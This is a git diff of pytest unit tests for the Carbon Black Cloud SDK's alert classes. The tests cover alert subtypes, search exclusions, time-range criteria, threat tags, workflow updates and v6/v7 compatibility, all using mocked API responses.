+ cbcsdk_mock.mock_request( + "GET", + "/api/investigate/v2/orgs/test/observations/detail_jobs/08ffa932-b633-4107-ba56-8741e929e48b/results", + GET_OBSERVATIONS_SEARCH_JOB_RESULTS_RESP_STILL_QUERYING + ) + + api = cbcsdk_mock.api + alert = api.select(Alert, "86123310980efd0b38111eba4bfa5e98aa30b19") + with pytest.raises(TimeoutError): + alert.get_observations(timeout=1) + print("the end") + + +def test_alert_subtype_alert_class(cbcsdk_mock): + """Test Alert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, Alert) + + +def test_alert_subtype_alert_string_class(cbcsdk_mock): + """Test Alert class using string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("Alert", "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, Alert) + + +def test_alert_subtype_basealert_class(cbcsdk_mock): + """Test BaseAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(BaseAlert, "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, BaseAlert) + + +def test_alert_subtype_basealert_string_class(cbcsdk_mock): + """Test BaseAlert class using string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("BaseAlert", "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, BaseAlert) + + +def test_alert_subtype_cbanalyticsalert_class(cbcsdk_mock): + """Test CBAnalyticsAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(CBAnalyticsAlert, "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, CBAnalyticsAlert) + + +def test_alert_subtype_cbanalyticsalert_string_class(cbcsdk_mock): + """Test CBAnalyticsAlert class using string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("CBAnalyticsAlert", "6f1173f5-f921-8e11-2160-edf42b799333") + assert isinstance(alert, CBAnalyticsAlert) + + +def test_alert_subtype_watchlistalert_class(cbcsdk_mock): + """Test WatchlistAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/f6af290d-6a7f-461c-a8af-cf0d24311105", + GET_ALERT_v7_WATCHLIST_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(WatchlistAlert, "f6af290d-6a7f-461c-a8af-cf0d24311105") + assert isinstance(alert, WatchlistAlert) + + +def test_alert_subtype_watchlistalert_string_class(cbcsdk_mock): + """Test WatchlistAlert class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/f6af290d-6a7f-461c-a8af-cf0d24311105", + GET_ALERT_v7_WATCHLIST_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("WatchlistAlert", "f6af290d-6a7f-461c-a8af-cf0d24311105") + assert isinstance(alert, WatchlistAlert) + + +def test_alert_subtype_devicecontrolalert_class(cbcsdk_mock): + """Test DeviceControlAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/b6a7e48b-1d14-11ee-a9e0-888888888788", + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(DeviceControlAlert, "b6a7e48b-1d14-11ee-a9e0-888888888788") + assert isinstance(alert, DeviceControlAlert) + + +def test_alert_subtype_devicecontrolalert_string_class(cbcsdk_mock): + """Test DeviceControlAlert class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/b6a7e48b-1d14-11ee-a9e0-888888888788", + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("DeviceControlAlert", "b6a7e48b-1d14-11ee-a9e0-888888888788") + assert isinstance(alert, DeviceControlAlert) + + +def test_alert_subtype_hostbasedfirewallalert_class(cbcsdk_mock): + """Test HostBasedFirewallAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/2be0652f-20bc-3311-9ded-8b873e28d830", + GET_ALERT_v7_HBFW_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(HostBasedFirewallAlert, "2be0652f-20bc-3311-9ded-8b873e28d830") + assert isinstance(alert, HostBasedFirewallAlert) + + +def test_alert_subtype_hostbasedfirewallalert_string_class(cbcsdk_mock): + """Test HostBasedFirewallAlert class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/2be0652f-20bc-3311-9ded-8b873e28d830", + GET_ALERT_v7_HBFW_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("HostBasedFirewallAlert", "2be0652f-20bc-3311-9ded-8b873e28d830") + assert isinstance(alert, HostBasedFirewallAlert) + + +def test_alert_subtype_containerruntimealert_class(cbcsdk_mock): + """Test ContainerRuntimeAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/46b419c8-3d67-ead8-dbf1-9d8417610fac", + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(ContainerRuntimeAlert, "46b419c8-3d67-ead8-dbf1-9d8417610fac") + assert isinstance(alert, ContainerRuntimeAlert) + + +def test_alert_subtype_containerruntimealert_string_class(cbcsdk_mock): + """Test ContainerRuntimeAlert class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/46b419c8-3d67-ead8-dbf1-9d8417610fac", + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("ContainerRuntimeAlert", "46b419c8-3d67-ead8-dbf1-9d8417610fac") + assert isinstance(alert, ContainerRuntimeAlert) + + +def test_alert_subtype_intrusiondetectionsystemalert_class(cbcsdk_mock): + """Test IntrusionDetectionSystemAlert class instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/ca316d99-a808-3779-8aab-62b2b6d9541c", + GET_ALERT_v7_INTRUSION_DETECTION_SYSTEM_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(IntrusionDetectionSystemAlert, "ca316d99-a808-3779-8aab-62b2b6d9541c") + assert isinstance(alert, IntrusionDetectionSystemAlert) + + +def test_alert_subtype_intrusiondetectionsystemalert_string_class(cbcsdk_mock): + """Test IntrusionDetectionSystemAlert class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/ca316d99-a808-3779-8aab-62b2b6d9541c", + GET_ALERT_v7_INTRUSION_DETECTION_SYSTEM_RESPONSE) + api = cbcsdk_mock.api + alert = api.select("IntrusionDetectionSystemAlert", "ca316d99-a808-3779-8aab-62b2b6d9541c") + assert isinstance(alert, IntrusionDetectionSystemAlert) + + +def test_alert_subtype_invalid_string_class(cbcsdk_mock): + """Test invalidAlertType class as string instantiation.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/ca316d99-a808-3779-8aab-62b2b6d9541c", + GET_ALERT_v7_INTRUSION_DETECTION_SYSTEM_RESPONSE) + api = cbcsdk_mock.api + with (pytest.raises(ModelNotFound)): + api.select("invalidAlertType", "ca316d99-a808-3779-8aab-62b2b6d9541c") + + +def test_new_alert_type(cbcsdk_mock): + """Test Alert class instantiation with an alert type unknown to CBC SDK.""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/MYVERYFIRSTNEWALERTTYPE0001", + GET_NEW_ALERT_TYPE_RESP) + api = cbcsdk_mock.api + alert = api.select(Alert, "MYVERYFIRSTNEWALERTTYPE0001") + assert isinstance(alert, Alert) + assert alert.id == "MYVERYFIRSTNEWALERTTYPE0001" + assert alert.type == "FIRST_NEW_TEST_ALERT_TYPE" + + +def test_new_alert_type_search(cbcsdk_mock): + """Test Alert class instantiation with an alert type unknown to CBC SDK. Expect success.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "type": [ + "FIRST_NEW_TEST_ALERT_TYPE" + ] + }, + "rows": 1 + } + return {"results": [{"org_key": "ABCD1234", + "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]=" + "id:MYVERYFIRSTNEWALERTTYPE0001&orgKey=ABCD1234", + "id": "MYVERYFIRSTNEWALERTTYPE0001", + "type": "FIRST_NEW_TEST_ALERT_TYPE", + "backend_timestamp": "2023-04-14T21:30:40.570Z", + "user_update_timestamp": None}], + "num_found": 1} + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/alerts/_search", + on_post) + api = cbcsdk_mock.api + alert_list = api.select(Alert).add_criteria("type", "FIRST_NEW_TEST_ALERT_TYPE").set_rows(1) + assert len(alert_list) == 1 + alert = alert_list.first() + assert alert.id == "MYVERYFIRSTNEWALERTTYPE0001" + assert alert.type == "FIRST_NEW_TEST_ALERT_TYPE" + + +def test_container_alert_v6_field(cbcsdk_mock): + """Test that when a container specific field is used it is mapped correctly on get()""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/46b419c8-3d67-ead8-dbf1-9d8417610fac", + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE) + api = cbcsdk_mock.api + alert = api.select(Alert, "46b419c8-3d67-ead8-dbf1-9d8417610fac") + print(alert.get("policy_id")) + print(alert.get("k8s_policy_id")) + print(alert.policy_id) + print(alert.k8s_policy_id) + assert alert.policy_id == alert.k8s_policy_id + + +def test_exclusion_single_list(cbcsdk_mock): + """Test a single exclusion in an array""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "type": [ + "WATCHLIST" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).add_exclusions("type", ["WATCHLIST"]).set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_exclusion_two_list(cbcsdk_mock): + """Test a single exclusion in an array""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "process_effective_reputation": [ + "TRUSTED_WHITE_LIST" + ], + "type": [ + "WATCHLIST" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).add_exclusions("type", ["WATCHLIST"])\ + .add_exclusions("type", ["WATCHLIST"]) \ + .add_exclusions("process_effective_reputation", ["TRUSTED_WHITE_LIST"]) \ + .set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_exclusion_singleton(cbcsdk_mock): + """Test a single value exclusion""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "alert_notes_present": False + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_alert_notes_present(False, True) \ + .set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_exclusion_list_and_singleton(cbcsdk_mock): + """Test a single value and list exclusion in an array""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "alert_notes_present": True, + "type": [ + "CB_ANALYTICS" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).add_exclusions("type", ["CB_ANALYTICS"])\ + .set_alert_notes_present(True, True) \ + .set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_exclusion_remote_is_private(cbcsdk_mock): + """Test a single value for remote_is_private""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "remote_is_private": True + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_remote_is_private(True, True) \ + .set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_exclusion_threat_notes_present(cbcsdk_mock): + """Test a single value for threat_notes_present""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "threat_notes_present": True + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).set_threat_notes_present(True, True) \ + .set_rows(1) + len(query) + # no assertions, the check is that the post request is formed correctly. + + +def test_add_time_criteria_detection_timestamp(cbcsdk_mock): + """Test an alert query with the detection timestamp specified as a range.""" + + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "detection_timestamp": { + "range": "-2h" + } + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "CB_ANALYTICS"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + alerts = api.select(Alert).add_time_criteria("detection_timestamp", range="-2h").set_rows(1) + len(alerts) + + +def test_exclusion_detection_timestamp(cbcsdk_mock): + """Test a timerange object in exclusions""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "detection_timestamp": { + "range": "-2h" + } + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + alerts = api.select(Alert).add_time_criteria("detection_timestamp", range="-2h", exclude=True).set_rows(1) + len(alerts) + + +def test_all_timestamp_positions(cbcsdk_mock): + """Test a request with time_range, a timestamp in criteria and a timestamp in exclusions""" + def on_post(url, body, **kwargs): + assert body == { + "time_range": { + "range": "-1m" + }, + "criteria": { + "detection_timestamp": { + "range": "-2d" + } + }, + "exclusions": { + "backend_update_timestamp": { + "range": "-3h" + } + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + alerts = api.select(Alert).set_time_range(range="-1m"). \ + add_time_criteria("detection_timestamp", range="-2d", exclude=False).\ + add_time_criteria("backend_update_timestamp", range="-3h", exclude=True).\ + set_rows(1) + len(alerts) + + +def test_exclusion_invalid_attrib(cbcsdk_mock): + """Test an invalid exclusion field in an array. No error, backend ignores""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "invalidfield": ["invalidvalue"] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "type": "WATCHLIST"}], "num_found": 1} + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + api.select(Alert).add_exclusions("invalidfield", ["invalidvalue"]) + + +def test_criteria_integer(cbcsdk_mock): + """Test criteria as an integer""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_id": [ + 12345678 + ] + }, + "rows": 1 + } + return {"results": [ + {"id": "S0L0", "org_key": "test", "type": "WATCHLIST", "device_id": 12345678} + ], + "num_found": 1 + } + device_id = 12345678 + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).add_criteria("device_id", device_id).set_rows(1) + alert = query.first() + assert alert.device_id == device_id + assert alert.get("device_id") == device_id + + +def test_exclusion_integer(cbcsdk_mock): + """Test an exclusion as an integer""" + def on_post(url, body, **kwargs): + assert body == { + "exclusions": { + "device_id": [ + 12345678 + ] + }, + "rows": 1 + } + return {"results": [ + {"id": "S0L0", "org_key": "test", "type": "WATCHLIST", "device_id": 12345678} + ], + "num_found": 1 + } + device_id = 12345678 + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(Alert).add_exclusions("device_id", device_id).set_rows(1) + alert = query.first() + assert alert.device_id == device_id + assert alert.get("device_id") == device_id + + +def test_alert_history(cbcsdk_mock): + """Test get_history for alerts""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333/history", + GET_ALERT_HISTORY) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + history = alert.get_history() + + assert history == GET_ALERT_HISTORY["history"] + + +def test_threat_history(cbcsdk_mock): + """Test get_history for threats""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/threats/" + "9e0afc389c1acc43b382b1ba590498d2/history", + GET_THREAT_HISTORY) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + + history = alert.get_history(threat=True) + + assert history == GET_THREAT_HISTORY["history"] + + +def test_bulk_update_workflow(cbcsdk_mock): + """Test loading a workflow job.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "type": ["CB_ANALYTICS"] + }, + "exclusions": { + "type": ["WATCHLIST"] + }, + "query": "some_query", + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "OPEN", + "note": "Note about the determination" + } + return { + "request_id": "666666" + } + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/workflow", on_post) + cbcsdk_mock.mock_request( + "GET", + "/jobs/v1/orgs/test/jobs/666666", + GET_OPEN_WORKFLOW_JOB_RESP + ) + api = cbcsdk_mock.api + + alert_query = api.select(Alert).add_criteria("type", ["CB_ANALYTICS"]) \ + .where("some_query") \ + .add_exclusions("type", ["WATCHLIST"]) + job = alert_query.update("OPEN", "OTHER", "TRUE_POSITIVE", "Note about the determination") + assert isinstance(job, Job) + + +def test_bulk_dismiss_workflow(cbcsdk_mock): + """Test loading a workflow job.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "type": ["CB_ANALYTICS"] + }, + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "CLOSED", + "note": "Note about the determination" + } + return { + "request_id": "666666" + } + + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/workflow", on_post) + cbcsdk_mock.mock_request("GET", "/jobs/v1/orgs/test/jobs/666666", GET_CLOSE_WORKFLOW_JOB_RESP) + api = cbcsdk_mock.api + + alert_query = api.select(Alert).add_criteria("type", ["CB_ANALYTICS"]) + job = alert_query.close("OTHER", "TRUE_POSITIVE", "Note about the determination") + assert isinstance(job, Job) + + +def test_alert_update_workflow(cbcsdk_mock): + """Test loading a workflow job.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "id": ["SOLO"] + }, + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "IN_PROGRESS", + "note": "Note about the determination" + } + return { + "request_id": "666666" + } + + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/SOLO", GET_ALERT_WORKFLOW_INIT) + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/workflow", on_post) + cbcsdk_mock.mock_request( + "GET", + "/jobs/v1/orgs/test/jobs/666666", + GET_OPEN_WORKFLOW_JOB_RESP + ) + api = cbcsdk_mock.api + alert = api.select(Alert, "SOLO") + job = alert.update("IN_PROGRESS", "OTHER", "TRUE_POSITIVE", "Note about the determination") + assert isinstance(job, Job) + + +def test_alert_dismiss_workflow(cbcsdk_mock): + """Test loading a workflow job.""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "id": ["SOLO"] + }, + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "CLOSED", + "note": "Note about the determination" + } + return { + "request_id": "666666" + } + + cbcsdk_mock.mock_request("GET", "/api/alerts/v7/orgs/test/alerts/SOLO", GET_ALERT_WORKFLOW_INIT) + cbcsdk_mock.mock_request("POST", "/api/alerts/v7/orgs/test/alerts/workflow", on_post) + cbcsdk_mock.mock_request( + "GET", + "/jobs/v1/orgs/test/jobs/666666", + GET_OPEN_WORKFLOW_JOB_RESP + ) + api = cbcsdk_mock.api + alert = api.select(Alert, "SOLO") + job = alert.close("OTHER", "TRUE_POSITIVE", "Note about the determination") + assert isinstance(job, Job) + + +def test_add_threat_tags(cbcsdk_mock): + """Test add_threat_tags""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + tags = ["tag1", "tag2"] + + cbcsdk_mock.mock_request("POST", + "/api/alerts/v7/orgs/test/threats/" + "9e0afc389c1acc43b382b1ba590498d2/tags", + {"tags": tags}) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + + assert tags == alert.add_threat_tags(tags) + + +def test_add_threat_tags_error(cbcsdk_mock): + """Test add_threat_tags raises ApiError""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + + with pytest.raises(ApiError): + alert.add_threat_tags(5) + + +def test_get_threat_tags(cbcsdk_mock): + """Test get_threat_tags""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + tags = ["tag1", "tag2"] + + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/threats/" + "9e0afc389c1acc43b382b1ba590498d2/tags", + {"list": tags}) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + + assert tags == alert.get_threat_tags() + + +def test_delete_threat_tag(cbcsdk_mock): + """Test delete_threat_tag""" + cbcsdk_mock.mock_request("GET", + "/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", + GET_ALERT_v7_CB_ANALYTICS_RESPONSE) + + tags = ["tag1"] + + cbcsdk_mock.mock_request("DELETE", + "/api/alerts/v7/orgs/test/threats/" + "9e0afc389c1acc43b382b1ba590498d2/tags/tag2", + {"tags": tags}) + + api = cbcsdk_mock.api + alert = api.select(Alert, "6f1173f5-f921-8e11-2160-edf42b799333") + + assert tags == alert.delete_threat_tag("tag2") + + +def test_backend_timestamp_as_criteria(cbcsdk_mock): + """Test that setting backend_timestamp as a criteria field raises an error""" + api = cbcsdk_mock.api + with pytest.raises(ApiError): + api.select(Alert).add_time_criteria("backend_timestamp") + + +def test_query_alert_with_legacy_time_range_errors(cbcsdk_mock): + """Test exceptions in alert query when the legacy set_time_range method is used with SDK 1.5.0 values""" + api = cbcsdk_mock.api + # This will fail when the request is made to Carbon Black Cloud. However, the SDK does not validate range values + api.select(Alert).where("Blort").set_time_range(range="whatever") + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").set_time_range(start="2019-09-30T12:34:56", + end="2019-10-01T12:00:12", + range="-3w") + assert "cannot specify range= in addition to start= and end=" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").set_time_range(end="2019-10-01T12:00:12", range="-3w") + assert "cannot specify start= or end= in addition to range=" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").set_time_range() + assert "must specify either start= and end= or range=" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").set_time_range("backend_timestamp", range="-3w") + assert "key must be one of create_time, first_event_time, last_event_time or last_update_time" in str(ex.value) + + with pytest.raises(ApiError) as ex: + api.select(Alert).where("Blort").set_time_range("detection_timestamp", range="-3w") + assert "key must be one of create_time, first_event_time, last_event_time or last_update_time" in str(ex.value) + + +@pytest.mark.parametrize("start, end, time_filter", [ + ("2023-10-03T08:46:52.302222+00:00", "2023-10-07T08:46:52.302222+00:00", + {"end": "2023-10-07T08:46:52.302222Z", "start": "2023-10-03T08:46:52.302222Z"}), + ("2023-10-03T08:46:52.302222Z", "2023-10-07T08:46:52.302222Z", + {"end": "2023-10-07T08:46:52.302222Z", "start": "2023-10-03T08:46:52.302222Z"}), + ("2023-10-03T08:46:52.302Z", "2023-10-07T08:46:52.302Z", + {"end": "2023-10-07T08:46:52.302000Z", "start": "2023-10-03T08:46:52.302000Z"}) +]) +def test_time_range_formatting(cbcsdk_mock, start, end, time_filter): + """Test a variety of start and end time formats.""" + api = cbcsdk_mock.api + alert_query = api.select(Alert).set_time_range(start=start, end=end) + assert alert_query._time_range == time_filter diff --git a/src/tests/unit/platform/test_alertsv7_v6_compatibility.py b/src/tests/unit/platform/test_alertsv7_v6_compatibility.py new file mode 100755 index 000000000..3d353417e --- /dev/null +++ b/src/tests/unit/platform/test_alertsv7_v6_compatibility.py @@ -0,0 +1,810 @@ +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Testing functions which generate a v6 compatible out from using v7 APIs.""" +import pytest + +# Import Base Alert since we're testing backwards compatibility +from cbc_sdk.platform import BaseAlert +from cbc_sdk.rest_api import CBCloudAPI +from tests.unit.fixtures.platform.mock_alert_v6_v7_compatibility import ( + ALERT_V6_INFO_CB_ANALYTICS_SDK_1_4_3, + ALERT_V6_INFO_WATCHLIST_SDK_1_4_3, + ALERT_V6_INFO_DEVICE_CONTROL_SDK_1_4_3, + ALERT_V6_INFO_HBFW_SDK_1_4_3, + ALERT_V6_INFO_CONTAINER_RUNTIME_SDK_1_4_3, + GET_ALERT_v7_CB_ANALYTICS_RESPONSE, + GET_ALERT_v7_WATCHLIST_RESPONSE, + GET_ALERT_v7_DEVICE_CONTROL_RESPONSE, + GET_ALERT_v7_HBFW_RESPONSE, + GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE +) + +from tests.unit.fixtures.CBCSDKMock import CBCSDKMock + + +@pytest.fixture(scope="function") +def cb(): + """Create CBCloudAPI singleton""" + return CBCloudAPI(url="https://example.com", org_key="test", token="abcd/1234", ssl_verify=False) + + +@pytest.fixture(scope="function") +def cbcsdk_mock(monkeypatch, cb): + """Mocks CBC SDK for unit tests""" + return CBCSDKMock(monkeypatch, cb) + + +# ==================================== UNIT TESTS BELOW ==================================== +# Fields that are special - consider extending tests later +# remediation can be empty string in v6, has "NO_REASON" in v7 +COMPLEX_MAPPING_V6 = { + "threat_cause_actor_name", # on CB Analytics, the record is truncated on v6 so will not match + "process_name" # just the file name on v6, full path on v7 +} + +# Fields on the v6 base or common alert object that do not have an equivalent in v7 +BASE_FIELDS_V6 = { + "alert_classification", + "category", + "comment", + "group_details", + "threat_activity_c2", + "threat_cause_threat_category", + "threat_cause_actor_process_pid" +} + +# Fields on the v6 CB Analytics alert object that do not have an equivalent in v7 +CB_ANALYTICS_FIELDS_V6 = { + "blocked_threat_category", + "kill_chain_status", + "not_blocked_threat_category", + "threat_activity_c2", + "threat_activity_dlp", + "threat_activity_phish", + "threat_cause_vector" +} + +# Fields on the v6 Device Control alert object that do not have an equivalent in v7 +DEVICE_CONTROL_FIELDS_V6 = { + "threat_cause_vector" +} + +# Fields on the v6 Container Runtime alert object that do not have an equivalent in v7 